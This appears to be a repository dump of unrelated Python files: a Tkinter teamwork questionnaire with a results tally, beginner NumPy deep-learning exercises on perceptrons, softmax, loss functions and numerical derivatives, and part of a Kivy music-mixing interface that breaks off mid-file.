strMsg = strMsg + "You need to answer all Team Experience Questions" # If all is OK, use shelve to open a database if strMsg == "": import shelve db = shelve.open('responsedb') # Generate unique key responseCount = len(db) Ans = Response(str(responseCount + 1), strProg, self.varQ1.get(), self.varQ2.get(), self.varQ3.get(), self.varCB1.get(), self.varCB2.get(), self.varCB3.get(), self.varCB4.get(), self.varCB5.get(), self.varCB6.get(), self.txtComment.get(1.0, END), self.entName.get()) db[Ans.respNo] = Ans db.close() messagebox.showinfo("Questionnaire", "Questionnaire Submitted") self.clearResponse() else: messagebox.showwarning("Entry Error", strMsg) def openResultsWindow(self): t1 = Toplevel(root) DisplayResults(t1) # Main root = Tk() root.title("Teamwork Questionnaire") app = Questionnaire(root) root.mainloop()
{"/Questionnaire.py": ["/Response.py", "/DisplayResults.py"], "/DisplayResults.py": ["/Response.py"]}
70,252
oagn/tKinterQuestionnaire
refs/heads/master
/DisplayResults.py
from tkinter import * from Response import Response class DisplayResults(Frame): # GUI Setup def __init__(self, master): # Initialise Class Frame.__init__(self, master) self.pack() self.retrieveResponse() def retrieveResponse(self): # retrieve responses from database # Initialise ALL THE COUNTERS! countAll = 0 sumQ1All = 0.0 sumQ2All = 0.0 sumQ3All = 0.0 sumP1All = 0 sumP2All = 0 sumP3All = 0 sumP4All = 0 sumP5All = 0 sumP6All = 0 countCS = 0 sumQ1CS = 0.0 sumQ2CS = 0.0 sumQ3CS = 0.0 sumP1CS = 0 sumP2CS = 0 sumP3CS = 0 sumP4CS = 0 sumP5CS = 0 sumP6CS = 0 countCSwith = 0 sumQ1CSwith = 0.0 sumQ2CSwith = 0.0 sumQ3CSwith = 0.0 sumP1CSwith = 0 sumP2CSwith = 0 sumP3CSwith = 0 sumP4CSwith = 0 sumP5CSwith = 0 sumP6CSwith = 0 countBIS = 0 sumQ1BIS = 0.0 sumQ2BIS = 0.0 sumQ3BIS = 0.0 sumP1BIS = 0 sumP2BIS = 0 sumP3BIS = 0 sumP4BIS = 0 sumP5BIS = 0 sumP6BIS = 0 countSE = 0 sumQ1SE = 0.0 sumQ2SE = 0.0 sumQ3SE = 0.0 sumP1SE = 0 sumP2SE = 0 sumP3SE = 0 sumP4SE = 0 sumP5SE = 0 sumP6SE = 0 countJoints = 0 sumQ1Joints = 0.0 sumQ2Joints = 0.0 sumQ3Joints = 0.0 sumP1Joints = 0 sumP2Joints = 0 sumP3Joints = 0 sumP4Joints = 0 sumP5Joints = 0 sumP6Joints = 0 # retrieve responses from database import shelve db = shelve.open('responsedb') respNo = len(db) for i in range(1, respNo): Ans = db[str(i)] # update counters with values from current response countAll += 1 sumQ1All += Ans.q1 sumQ2All += Ans.q2 sumQ3All += Ans.q3 sumP1All += Ans.pr1 sumP2All += Ans.pr2 sumP3All += Ans.pr3 sumP4All += Ans.pr4 sumP5All += Ans.pr5 sumP6All += Ans.pr6 if Ans.prog == "CS": countCS += 1 sumQ1CS += Ans.q1 sumQ2CS += Ans.q2 sumQ3CS += Ans.q3 sumP1CS += Ans.pr1 sumP2CS += Ans.pr2 sumP3CS += Ans.pr3 sumP4CS += Ans.pr4 sumP5CS += Ans.pr5 sumP6CS += Ans.pr6 if Ans.prog == "CS with": countCSwith += 1 sumQ1CSwith += Ans.q1 sumQ2CSwith += Ans.q2 sumQ3CSwith += Ans.q3 sumP1CSwith += Ans.pr1 sumP2CSwith += Ans.pr2 sumP3CSwith += Ans.pr3 sumP4CSwith += Ans.pr4 sumP5CSwith += Ans.pr5 sumP6CSwith += Ans.pr6 if Ans.prog == "BIS": countBIS += 1 sumQ1BIS += Ans.q1 sumQ2BIS += Ans.q2 sumQ3BIS += Ans.q3 sumP1BIS += Ans.pr1 sumP2BIS += Ans.pr2 sumP3BIS += Ans.pr3 sumP4BIS += Ans.pr4 sumP5BIS += Ans.pr5 sumP6BIS += Ans.pr6 if Ans.prog == "SE": countSE += 1 sumQ1SE += Ans.q1 sumQ2SE += Ans.q2 sumQ3SE += Ans.q3 sumP1SE += Ans.pr1 sumP2SE += Ans.pr2 sumP3SE += Ans.pr3 sumP4SE += Ans.pr4 sumP5SE += Ans.pr5 sumP6SE += Ans.pr6 if Ans.prog == "Joints": countJoints += 1 sumQ1Joints += Ans.q1 sumQ2Joints += Ans.q2 sumQ3Joints += Ans.q3 sumP1Joints += Ans.pr1 sumP2Joints += Ans.pr2 sumP3Joints += Ans.pr3 sumP4Joints += Ans.pr4 sumP5Joints += Ans.pr5 sumP6Joints += Ans.pr6 db.close() # Toal number of answers self.txtDisplay = Text(self, height=60, width=100) self.txtDisplay.tag_configure('boldfont', font=('MS', 13, 'bold')) self.txtDisplay.tag_configure('normfont', font=('MS', 13)) tabResults = "" tabResults += ("\t" + "\t" + "\t" + "\t" + "\t") self.txtDisplay.insert(END, "Degree Programme" + tabResults + "ALL" + "\t" + "CS" + "\t" + "CS with" + "\t" + "BIS" + "\t" + "SE" + "\t" + "Joints" + '\n', 'boldfont') self.txtDisplay.insert(END, "Number of Responses:" + tabResults + str(countAll) + "\t" + str(countCS) + "\t" + str(countCSwith) + "\t" + str(countBIS) + "\t" + str(countSE) + "\t" + str(countJoints) + '\n', 'normfont') # Averages and percentages for ALL if countAll > 0: Q1All = sumQ1All / countAll Q2All = sumQ2All / countAll Q3All = sumQ3All / countAll P1All = sumP1All * 100 / countAll P2All = sumP2All * 100 / countAll P3All = sumP3All * 100 / countAll P4All = sumP4All * 100 / countAll P5All = sumP5All * 100 / countAll P6All = sumP6All * 100 / countAll else: Q1All = 0 Q2All = 0 Q3All = 0 P1All = 0 P2All = 0 P3All = 0 P4All = 0 P5All = 0 P6All = 0 # Averages and percentages for CS if countCS > 0: Q1CS = sumQ1CS / countCS Q2CS = sumQ2CS / countCS Q3CS = sumQ3CS / countCS P1CS = sumP1CS * 100 / countCS P2CS = sumP2CS * 100 / countCS P3CS = sumP3CS * 100 / countCS P4CS = sumP4CS * 100 / countCS P5CS = sumP5CS * 100 / countCS P6CS = sumP6CS * 100 / countCS else: Q1CS = 0 Q2CS = 0 Q3CS = 0 P1CS = 0 P2CS = 0 P3CS = 0 P4CS = 0 P5CS = 0 P6CS = 0 # Averages and percentages for CSwith if countCSwith > 0: Q1CSwith = sumQ1CSwith / countCSwith Q2CSwith = sumQ2CSwith / countCSwith Q3CSwith = sumQ3CSwith / countCSwith P1CSwith = sumP1CSwith * 100 / countCSwith P2CSwith = sumP2CSwith * 100 / countCSwith P3CSwith = sumP3CSwith * 100 / countCSwith P4CSwith = sumP4CSwith * 100 / countCSwith P5CSwith = sumP5CSwith * 100 / countCSwith P6CSwith = sumP6CSwith * 100 / countCSwith else: Q1CSwith = 0 Q2CSwith = 0 Q3CSwith = 0 P1CSwith = 0 P2CSwith = 0 P3CSwith = 0 P4CSwith = 0 P5CSwith = 0 P6CSwith = 0 # Averages and percentages for BIS if countBIS > 0: Q1BIS = sumQ1BIS / countBIS Q2BIS = sumQ2BIS / countBIS Q3BIS = sumQ3BIS / countBIS P1BIS = sumP1BIS * 100 / countBIS P2BIS = sumP2BIS * 100 / countBIS P3BIS = sumP3BIS * 100 / countBIS P4BIS = sumP4BIS * 100 / countBIS P5BIS = sumP5BIS * 100 / countBIS P6BIS = sumP6BIS * 100 / countBIS else: Q1BIS = 0 Q2BIS = 0 Q3BIS = 0 P1BIS = 0 P2BIS = 0 P3BIS = 0 P4BIS = 0 P5BIS = 0 P6BIS = 0 # Averages and percentages for SE if countSE > 0: Q1SE = sumQ1SE / countSE Q2SE = sumQ2SE / countSE Q3SE = sumQ3SE / countSE P1SE = sumP1SE * 100 / countSE P2SE = sumP2SE * 100 / countSE P3SE = sumP3SE * 100 / countSE P4SE = sumP4SE * 100 / countSE P5SE = sumP5SE * 100 / countSE P6SE = sumP6SE * 100 / countSE else: Q1SE = 0 Q2SE = 0 Q3SE = 0 P1SE = 0 P2SE = 0 P3SE = 0 P4SE = 0 P5SE = 0 P6SE = 0 # Averages and percentages for Joints if countJoints > 0: Q1Joints = sumQ1Joints / countJoints Q2Joints = sumQ2Joints / countJoints Q3Joints = sumQ3Joints / countJoints P1Joints = sumP1Joints * 100 / countJoints P2Joints = sumP2Joints * 100 / countJoints P3Joints = sumP3Joints * 100 / countJoints P4Joints = sumP4Joints * 100 / countJoints P5Joints = sumP5Joints * 100 / countJoints P6Joints = sumP6Joints * 100 / countJoints else: Q1Joints = 0 Q2Joints = 0 Q3Joints = 0 P1Joints = 0 P2Joints = 0 P3Joints = 0 P4Joints = 0 P5Joints = 0 P6Joints = 0 # Answers for Team Experience Questions self.txtDisplay.insert(END, '\n' + "Team Experience:" + '\n', 'boldfont') self.txtDisplay.insert(END, "(Score: 4 = Strongly Agree to 1 = Strongly Disagree)" + '\n', 'normfont') self.txtDisplay.insert(END, "1. Our team worked together effectively" + tabResults + "%.1f" % Q1All + "\t %.1f" % Q1CS + "\t %.1f" % Q1CSwith + "\t %.1f" % Q1BIS + "\t %.1f" % Q1SE + "\t %.1f" % Q1Joints + '\n', 'normfont') self.txtDisplay.insert(END, "2. Our team produced good quality products" + tabResults + "%.1f" % Q2All + "\t %.1f" % Q2CS + "\t %.1f" % Q2CSwith + "\t %.1f" % Q2BIS + "\t %.1f" % Q2SE + "\t %.1f" % Q2Joints + '\n', 'normfont') self.txtDisplay.insert(END, "3. I enjoyed working in our team" + tabResults + "%.1f" % Q3All + "\t %.1f" % Q3CS + "\t %.1f" % Q3CSwith + "\t %.1f" % Q3BIS + "\t %.1f" % Q3SE + "\t %.1f" % Q3Joints + '\n', 'normfont') # Percentages for Problems Experienced self.txtDisplay.insert(END, '\n' + "Problems Experienced:" + '\n', 'boldfont') self.txtDisplay.insert(END, "Poor communication" + tabResults + "%.1f" % P1All + "%% \t %.1f" % P1CS + "%% \t %.1f" % P1CSwith + "%% \t %.1f" % P1BIS + "%% \t %.1f" % P1SE + "%% \t %.1f" % P1Joints + '%%\n', 'normfont') self.txtDisplay.insert(END, "Members missing meetings" + tabResults + "%.1f" % P2All + "%% \t %.1f" % P2CS + "%% \t %.1f" % P2CSwith + "%% \t %.1f" % P2BIS + "%% \t %.1f" % P2SE + "%% \t %.1f" % P2Joints + '%%\n', 'normfont') self.txtDisplay.insert(END, "Members missing meetings" + tabResults + "%.1f" % P3All + "%% \t %.1f" % P3CS + "%% \t %.1f" % P3CSwith + "%% \t %.1f" % P3BIS + "%% \t %.1f" % P3SE + "%% \t %.1f" % P3Joints + '%%\n', 'normfont') self.txtDisplay.insert(END, "Members missing meetings" + tabResults + "%.1f" % P4All + "%% \t %.1f" % P4CS + "%% \t %.1f" % P4CSwith + "%% \t %.1f" % P4BIS + "%% \t %.1f" % P4SE + "%% \t %.1f" % P4Joints + '%%\n', 'normfont') self.txtDisplay.insert(END, "Members missing meetings" + tabResults + "%.1f" % P5All + "%% \t %.1f" % P5CS + "%% \t %.1f" % P5CSwith + "%% \t %.1f" % P5BIS + "%% \t %.1f" % P5SE + "%% \t %.1f" % P5Joints + '%%\n', 'normfont') self.txtDisplay.insert(END, "Members missing meetings" + tabResults + "%.1f" % P6All + "%% \t %.1f" % P6CS + "%% \t %.1f" % P6CSwith + "%% \t %.1f" % P6BIS + "%% \t %.1f" % P6SE + "%% \t %.1f" % P6Joints + '%%\n', 'normfont') self.txtDisplay['state'] = DISABLED self.txtDisplay.pack()
{"/Questionnaire.py": ["/Response.py", "/DisplayResults.py"], "/DisplayResults.py": ["/Response.py"]}
70,253
ukwksk/orreilly-deep-learning
refs/heads/master
/chapter01/section1_5_numpy.py
import traceback import numpy as np print("==== Examples of 1-dimensional array ====") x = np.array([1.0, 2.0, 3.0]) y = np.array([2.0, 4.0, 6.0]) print("x: {}".format(x)) print("y: {}".format(y)) print("type(x): {}".format(type(x))) print("x+y: {}".format(x + y)) print("x-y: {}".format(x - y)) print("x*y: {}".format(x * y)) print("x/y: {}".format(x / y)) print("x/2: {}".format(x / 2)) # This is called "broadcast" try: a = np.array([1.0]) print("a: {}".format(a)) print("x+a {}".format(x + a)) except Exception as e: print(traceback.format_exc()) try: b = np.array([1.0, 2.0]) print("b: {}".format(b)) print("x+b: {}".format(x + b)) except Exception as e: print(traceback.format_exc()) print("==== Examples of N-dimensional array ====") X = np.array([[1, 2], [3, 4]]) print("X: {}".format(X)) print("X.shape: {}".format(X.shape)) print("X.dtype: {}".format(X.dtype)) Y = np.array([[3, 0], [0, 6]]) print("Y: {}".format(Y)) print("X+Y: {}".format(X + Y)) print("X*Y: {}".format(X * Y)) print("X*10: {}".format(X * 10)) # This is called "broadcast" try: A = np.array([[1.0]]) print("A: {}".format(A)) print("X+A: {}".format(X + A)) except Exception as e: print(traceback.format_exc()) # This is called "broadcast" try: B = np.array([[1.0, 2.0]]) print("B: {}".format(B)) print("X+B: {}".format(X + B)) except Exception as e: print(traceback.format_exc()) try: C = np.array([[1.0, 2.0, 3.0]]) print("C: {}".format(C)) print("X+C: {}".format(X + C)) except Exception as e: print(traceback.format_exc()) try: D = np.array([[1.0, 2.0], [2.0, 3.0], [3.0, 4.0]]) print("D: {}".format(D)) print("X+D: {}".format(X + D)) except Exception as e: print(traceback.format_exc()) print("==== Examples of entity access ====") print("X: {}".format(X)) print("X[0]: {}".format(X[0])) print("X[0][0]: {}".format(X[0][0])) for row in X: print("outer-loop: {}".format(row)) for col in row: print("inner-loop: {}".format(col)) print("X.flatten(): {}".format(X.flatten())) print("X.flatten()[np.array([1,3])]: {}".format(X.flatten()[np.array([1, 3])])) print("X.flatten() % 2 == 0: {}".format(X.flatten() % 2 == 0)) print("X.flatten()[X.flatten() % 2 == 0]: {}".format(X.flatten()[X.flatten() % 2 == 0]))
{"/chapter02/section2_5_multilayer_perceptron.py": ["/chapter02/section2_3_perceptron.py"], "/chapter03/section3_4_three_layer_NN.py": ["/chapter03/sectino3_2_activating_function.py"]}
70,254
ukwksk/orreilly-deep-learning
refs/heads/master
/chapter03/section3_5_output_layer.py
import numpy as np def _soft_max(a): exp_a = np.exp(a) sum_exp = np.sum(exp_a) y = exp_a / sum_exp print(a, exp_a, sum_exp, y) return y def soft_max(a): c = np.max(a) exp_a = np.exp(a - c) # overflow対策 sum_exp = np.sum(exp_a) y = exp_a / sum_exp # print(a, exp_a, sum_exp, y) return y if __name__ == '__main__': print(soft_max(np.array([0.3, 2.9, 4.0]))) print(soft_max(np.array([1010, 1000, 990]))) # 対策しないとoverflowを起こす
{"/chapter02/section2_5_multilayer_perceptron.py": ["/chapter02/section2_3_perceptron.py"], "/chapter03/section3_4_three_layer_NN.py": ["/chapter03/sectino3_2_activating_function.py"]}
70,255
ukwksk/orreilly-deep-learning
refs/heads/master
/chapter02/section2_5_multilayer_perceptron.py
import numpy as np from chapter02.section2_3_perceptron import np_nand, np_or, np_and, show_result def np_xor(x1, x2): s1 = np_nand(x1, x2) s2 = np_or(x1, x2) return np_and(s1, s2) if __name__ == '__main__': show_result(np_xor)
{"/chapter02/section2_5_multilayer_perceptron.py": ["/chapter02/section2_3_perceptron.py"], "/chapter03/section3_4_three_layer_NN.py": ["/chapter03/sectino3_2_activating_function.py"]}
70,256
ukwksk/orreilly-deep-learning
refs/heads/master
/chapter04/section4_2_loss_function.py
import numpy as np def mean_squared_error(y, t): return 0.5 * np.sum((y - t) ** 2) def cross_entropy_error(y, t): delta = 1e-7 return -np.sum(t * np.log(y + delta)) # FIXME ちょっとうまくいかないしよくわからない def labeled_cross_entropy_error(y, t): print(y, t) if y.ndim == 1: t = t.reshape(1, t.size) y = y.reshape(1, y.size) batch_size = y.shape[0] print(y[np.arange(batch_size), t]) print(np.log(y[np.arange(batch_size), t])) return -np.sum(np.log(y[np.arange(batch_size), t])) / batch_size if __name__ == '__main__': t = [0, 0, 1, 0, 0, 0, 0, 0, 0, 0] y = [0.1, 0.05, 0.6, 0.0, 0.05, 0.1, 0.0, 0.1, 0.0, 0.0] print(mean_squared_error(np.array(y), np.array(t))) print(cross_entropy_error(np.array(y), np.array(t))) y = [0.1, 0.05, 0.1, 0.0, 0.05, 0.1, 0.0, 0.6, 0.5, 0.0] print(mean_squared_error(np.array(y), np.array(t))) print(cross_entropy_error(np.array(y), np.array(t))) import sys, os sys.path.append(os.pardir) from dataset.mnist import load_mnist (x_train, t_train), (x_test, t_test) = load_mnist(normalize=True, one_hot_label=False) train_size = x_train.shape[0] batch_size = 10 batch_mask = np.random.choice(train_size, batch_size) x_batch = x_train[batch_mask] t_batch = t_train[batch_mask] print(labeled_cross_entropy_error(x_batch, t_batch))
{"/chapter02/section2_5_multilayer_perceptron.py": ["/chapter02/section2_3_perceptron.py"], "/chapter03/section3_4_three_layer_NN.py": ["/chapter03/sectino3_2_activating_function.py"]}
70,257
ukwksk/orreilly-deep-learning
refs/heads/master
/chapter02/section2_3_perceptron.py
import numpy as np def show_result(func): inset = [[0, 0], [1, 0], [0, 1], [1, 1]] for i in inset: print("{}({}, {}): {}".format(func.__name__, i[0], i[1], func(i[0], i[1]))) def _and(x1, x2): w1, w2, theta = 1.0, 1.0, 1.0 tmp = x1 * w1 + x2 * w2 if tmp <= theta: return 0 else: return 1 def np_and(x1, x2): x = np.array([x1, x2]) w = np.array([1.0, 1.0]) b = -1.5 tmp = np.sum(x * w) + b if tmp <= 0: return 0 else: return 1 def np_nand(x1, x2): x = np.array([x1, x2]) w = np.array([-1.0, -1.0]) b = 1.5 tmp = np.sum(x * w) + b if tmp <= 0: return 0 else: return 1 def np_or(x1, x2): x = np.array([x1, x2]) w = np.array([1.0, 1.0]) b = -0.5 tmp = np.sum(x * w) + b if tmp <= 0: return 0 else: return 1 if __name__ == '__main__': show_result(_and) show_result(np_and) show_result(np_nand) show_result(np_or)
{"/chapter02/section2_5_multilayer_perceptron.py": ["/chapter02/section2_3_perceptron.py"], "/chapter03/section3_4_three_layer_NN.py": ["/chapter03/sectino3_2_activating_function.py"]}
70,258
ukwksk/orreilly-deep-learning
refs/heads/master
/chapter03/section3_4_three_layer_NN.py
import numpy as np from chapter03.sectino3_2_activating_function import np_sigmoid def layer(A, W, b): z = np.dot(A, W) + b return z def identity_function(x): return x def middle_layer(A, W, b): return np_sigmoid(layer(A, W, b)) def last_layer(A, W, b): print(Y) return identity_function(layer(A, W, b)) def init_network(): network = {'1': {}, '2': {}, '3': {}} network['1']['W'] = np.array([[0.1, 0.3, 0.5], [0.2, 0.4, 0.6]]) network['1']['b'] = np.array([0.1, 0.2, 0.3]) network['2']['W'] = np.array([[0.1, 0.4], [0.2, 0.5], [0.3, 0.6]]) network['2']['b'] = np.array([0.1, 0.2]) network['3']['W'] = np.array([[0.1, 0.3], [0.2, 0.4]]) network['3']['b'] = np.array([0.1, 0.2]) return network def forward(network, x): _x = x keys = list(network.keys()) keys.sort() for k in keys[:len(keys) - 1]: print("Z{}".format(k)) _x = middle_layer(_x, **network[k]) print(_x) print("Y") y = last_layer(_x, **network[str(keys.pop(-1))]) print(y) return y if __name__ == '__main__': X = np.array([1.0, 0.5]) W1 = np.array([[0.1, 0.3, 0.5], [0.2, 0.4, 0.6]]) B1 = np.array([0.1, 0.2, 0.3]) print("A1 : {}".format(layer(X, W1, B1))) Z1 = np_sigmoid(layer(X, W1, B1)) print("Z1 : {}".format(Z1)) W2 = np.array([[0.1, 0.4], [0.2, 0.5], [0.3, 0.6]]) B2 = np.array([0.1, 0.2]) print("A2 : {}".format(layer(Z1, W2, B2))) Z2 = np_sigmoid(layer(Z1, W2, B2)) print("Z2 : {}".format(Z2)) W3 = np.array([[0.1, 0.3], [0.2, 0.4]]) B3 = np.array([0.1, 0.2]) print("A3 : {}".format(layer(Z2, W3, B3))) Y = identity_function(layer(Z2, W3, B3)) print(" Y : {}".format(Y)) network = init_network() forward(network, X)
{"/chapter02/section2_5_multilayer_perceptron.py": ["/chapter02/section2_3_perceptron.py"], "/chapter03/section3_4_three_layer_NN.py": ["/chapter03/sectino3_2_activating_function.py"]}
70,259
ukwksk/orreilly-deep-learning
refs/heads/master
/chapter03/sectino3_2_activating_function.py
import numpy as np import matplotlib.pylab as plt def show_result(func): x = np.arange(-5.0, 5.0, 0.1) y = func(x) plt.plot(x, y) plt.ylim(-0.1, 1.1) plt.show() def step_function(x): if x > 0: return 1 else: return 0 def np_step_function(x): y = x > 0 return y.astype(np.int) def np_sigmoid(x): return 1 / (1 + np.exp(-x)) def np_relu(x): return np.maximum(0, x) if __name__ == '__main__': show_result(np_step_function) show_result(np_sigmoid) show_result(np_relu)
{"/chapter02/section2_5_multilayer_perceptron.py": ["/chapter02/section2_3_perceptron.py"], "/chapter03/section3_4_three_layer_NN.py": ["/chapter03/sectino3_2_activating_function.py"]}
70,260
ukwksk/orreilly-deep-learning
refs/heads/master
/chapter04/section4_3_differentiation.py
import numpy as np import matplotlib.pylab as plt from mpl_toolkits.mplot3d import Axes3D def numerical_diff(f, x): h = 1e-4 return (f(x + h) - f(x - h)) / (2 * h) def f1(x): return 0.01 * x ** 2 + 0.1 * x def diff1(x, a): return numerical_diff(f1, a) * (x - a) + f1(a) def f2(x): # return np.sum(x ** 2) return x[0] ** 2 + x[1] ** 2 def f2_tmp0(x0): return x0 ** 2 + 4 ** 2 def diff2_1(x): return numerical_diff(f2_tmp0, x) def f2_tmp1(x1): return 3 ** 2 + x1 ** 2 def diff2_2(x): return numerical_diff(f2_tmp1, x) if __name__ == '__main__': x = np.arange(-20.0, 20.0, 0.1) y = f1(x) plt.xlabel("x") plt.ylabel("f(x)") plt.plot(x, y) d1 = diff1(x, 0) plt.plot(x, d1, color="blue", linestyle="--") d2 = diff1(x, -10) plt.plot(x, d2, color="green", linestyle=":") plt.show() # http://d.hatena.ne.jp/white_wheels/20100327/p3 x, y = np.arange(-20.0, 20.0, 1), np.arange(-20.0, 20.0, 1) X, Y = np.meshgrid(x, y) print(np.meshgrid(x, y)) print(X) # 20*20 の x座標の値 print(Y) # 20*20 の y座標の値 Z = f2(np.meshgrid(x, y)) print(Z) # 20*20 の z座標の値 fig = plt.figure() ax = Axes3D(fig) ax.plot_wireframe(X, Y, Z) plt.show() print(diff2_1(3)) print(diff2_2(4))
{"/chapter02/section2_5_multilayer_perceptron.py": ["/chapter02/section2_3_perceptron.py"], "/chapter03/section3_4_three_layer_NN.py": ["/chapter03/sectino3_2_activating_function.py"]}
70,261
ukwksk/orreilly-deep-learning
refs/heads/master
/chapter03/section3_3_multi_dimentional.py
import numpy as np def show_array(array): print(array) print(np.ndim(array)) print(array.shape) print(array.shape[0]) def NNdot(X, W): print(X) print(W) print("shape: {}, {}".format(X.shape, W.shape)) print(np.dot(X, W)) if __name__ == '__main__': A = np.array([1, 2, 3, 4]) B = np.array([[1, 2], [3, 4], [5, 6]]) show_array(A) show_array(B) C = np.array([[1, 2], [3, 4]]) D = np.array([[5, 6], [7, 8]]) print(np.dot(C, D)) print(np.dot(D, C)) NNdot(np.array([1, 2]), np.array([[1, 3, 5], [2, 4, 6]]))
{"/chapter02/section2_5_multilayer_perceptron.py": ["/chapter02/section2_3_perceptron.py"], "/chapter03/section3_4_three_layer_NN.py": ["/chapter03/sectino3_2_activating_function.py"]}
70,262
ukwksk/orreilly-deep-learning
refs/heads/master
/chapter01/section1_6_matplotlib.py
import numpy as np import matplotlib.pyplot as plt # データの作成 x = np.arange(0, 6.4, 0.1) y1 = np.sin(x) y2 = np.cos(x) # グラフの描画 plt.plot(x, y1, label="sin") plt.plot(x, y2, label="cos", linestyle="--") plt.xlabel("x") plt.ylabel("y") plt.title("sin & cos") plt.legend() plt.show() from matplotlib.image import imread img = imread("../img/kimwipe.png") plt.imshow(img) plt.show()
{"/chapter02/section2_5_multilayer_perceptron.py": ["/chapter02/section2_3_perceptron.py"], "/chapter03/section3_4_three_layer_NN.py": ["/chapter03/sectino3_2_activating_function.py"]}
70,293
jwbowler/21m359-final
refs/heads/master
/yadjc.py
from beatgen import BeatwiseGenerator from common.audio import Audio from common.clock import Clock as ClassClock, Conductor, Scheduler from common.core import BaseWidget, run from kivy.core.window import Window from kivy.graphics import Color, PushMatrix, Translate, PopMatrix, Rectangle from kivy.graphics import Line from kivy.uix.anchorlayout import AnchorLayout from kivy.uix.boxlayout import BoxLayout from kivy.uix.button import Button from kivy.uix.filechooser import FileChooserListView from kivy.uix.floatlayout import FloatLayout from kivy.uix.stacklayout import StackLayout from kivy.uix.togglebutton import ToggleButton from kivy.uix.widget import Widget from nowline import Nowline #from selection import Selection from song import Song from song_structures import structures kRowHeight = 100 kRowWidth = 10000 kGridPadding = 10 kGridUpperGap = 30 kGridLeftGap = 40 class Desktop(Widget): def __init__(self, nowline, **kwargs): super(Desktop, self).__init__(**kwargs) with self.canvas: PushMatrix() self.trans_y = Translate(0, self.pos[1]) self.trans_y.y -= kGridUpperGap self.delete_buttons = DeleteButtons() #self.add_widget(self.delete_buttons) PushMatrix() self.trans_x = Translate(self.pos[0], 0) self.trans_x.x += kGridLeftGap self.grid = Grid(self.delete_buttons) self.add_widget(self.grid) self.add_widget(nowline) PopMatrix() PopMatrix() # Color(0, 0, 0) # Rectangle(pos=(0, Window.size[1] - 70), size=(Window.size[0], 70)) self.down_pos = None self.active_drag = False def on_touch_down(self, touch): self.active_drag = False self.down_pos = touch.pos # touch.push() # touch.apply_transform_2d(lambda x, y: (x, y - self.trans_y.y)) # ret1 = self.delete_buttons.on_touch_down(touch) # touch.pop() # # if ret1: # return True touch.push() touch.apply_transform_2d(lambda x, y: (x - self.trans_x.x, y - self.trans_y.y)) ret2 = self.grid.on_touch_down(touch) touch.pop() if ret2: return True self.active_drag = True return True def on_touch_move(self, touch): if self.active_drag: mov_x = touch.pos[0] - self.down_pos[0] mov_y = touch.pos[1] - self.down_pos[1] self.trans_x.x += mov_x self.trans_y.y += mov_y self.down_pos = touch.pos return True else: touch.push() touch.apply_transform_2d(lambda x, y: (x - self.trans_x.x, y - self.trans_y.y)) ret = super(Desktop, self).on_touch_move(touch) touch.pop() return ret def on_touch_up(self, touch): self.active_drag = False def on_key_down(self, char, modifiers): self.grid.on_key_down(char, modifiers) def on_window_resize(self): self.grid.on_window_resize() self.delete_buttons.on_window_resize() class DeleteButtons(Widget): def __init__(self, **kwargs): super(DeleteButtons, self).__init__(**kwargs) self.buttons = [] def add_button(self, grid, row, row_trans): with self.canvas.after: num_row = grid.num_next_row num_removed = grid.num_removed_rows # button = Button(text='X') # button.size = (40, 40) # button.pos = (Window.size[0] - 70, -(num_row - num_removed + 1) * (kRowHeight + kGridPadding) + 30) # button.bind(on_release=lambda event: self.remove_button(button, row, row_trans, num_row)) # # self.buttons.append(button) # self.add_widget(button) self.grid = grid def remove_button(self, button, row, row_trans, num_row): button.pos[0] = -9001 #yolo self.remove_widget(button) # del self.buttons[num_row] for btn in self.buttons: if btn.pos[1] < button.pos[1]: btn.pos[1] += (kRowHeight + kGridPadding) self.grid.remove_row(row, row_trans) def on_window_resize(self): for button in self.buttons: button.pos[0] = Window.size[0] - 70 def on_touch_down(self, touch): return super(DeleteButtons, self).on_touch_down(touch) class Grid(Widget): def __init__(self, delete_buttons, **kwargs): super(Grid, self).__init__(**kwargs) self.delete_buttons = delete_buttons self.rows_and_trans = [] self.num_next_row = 0 self.num_removed_rows = 0 # self.add_row() def add_row(self, song): with self.canvas: PushMatrix() row_trans = Translate(0, -(self.num_next_row - self.num_removed_rows + 1) * (kRowHeight + kGridPadding)) row = Row(self.num_next_row, self.num_removed_rows, song) self.add_widget(row) self.rows_and_trans.append((row, row_trans)) PopMatrix() self.delete_buttons.add_button(self, row, row_trans) self.num_next_row += 1 return row def remove_row(self, row, row_trans): print 'HI' print row row_trans.x = 90001 self.remove_widget(row) self.rows_and_trans.remove((row, row_trans)) self.num_removed_rows += 1 for (other_row, other_row_trans) in self.rows_and_trans: if other_row_trans.y < row_trans.y: other_row_trans.y += (kRowHeight + kGridPadding) other_row.move_up() def on_key_down(self, char, modifiers): pass def on_touch_down(self, touch): return super(Grid, self).on_touch_down(touch) def on_window_resize(self): for widget in self.children: widget.on_window_resize() class Row(Widget): def __init__(self, idx, num_deleted_above, song, **kwargs): super(Row, self).__init__(**kwargs) self.idx = idx self.num_deleted_above = num_deleted_above self.song = song self.size = (kRowWidth, kRowHeight) with self.canvas: self.color = Color(1, 1, 1) #self.frame = Line(rectangle=(-kRowWidth, 0, kRowWidth*2, kRowHeight)) # self.clip = Clip() # self.add_widget(self.clip) self.add_widget(self.song) def on_touch_down(self, touch): touch.push() touch.apply_transform_2d(lambda x, y: (x, y + (self.idx - self.num_deleted_above + 1) * (kRowHeight + kGridPadding))) ret = super(Row, self).on_touch_down(touch) touch.pop() return ret def on_touch_move(self, touch): touch.push() touch.apply_transform_2d(lambda x, y: (x, y + (self.idx - self.num_deleted_above + 1) * (kRowHeight + kGridPadding))) ret = super(Row, self).on_touch_move(touch) touch.pop() return ret def move_up(self): self.num_deleted_above += 1 def on_window_resize(self): pass # class StateMachine(object): # def __init__(self): # self.state = 'NORMAL' # # def _set_state(self, state): # self.state = state # print state # # def on_cut_button_state_change(self, button, down): # if down: # self._set_state('CUT') # else: # self._set_state('NORMAL') # # def on_link_button_state_change(self, button, down): # if down: # self._set_state('LINK') # else: # self._set_state('NORMAL') class MainWidget(BaseWidget): def __init__(self, **kwargs): super(MainWidget, self).__init__(**kwargs) self.clock = ClassClock() self.conductor = Conductor(self.clock) self.scheduler = Scheduler(self.conductor) self.conductor.set_bpm(90) #self.selection = Selection() self.beatgen = BeatwiseGenerator() audio = Audio() audio.add_generator(self.beatgen) #self.selection.beatgen = self.beatgen self.root = BoxLayout(size=Window.size, orientation='vertical') self.add_widget(self.root) self.nowline = Nowline(self.scheduler) self.beatgen.nowline = self.nowline self.desktop = Desktop(self.nowline, pos=(0, Window.size[1])) # self.root.add_widget(self.desktop) # self.button_tray_anchor = AnchorLayout(anchor_x='right', 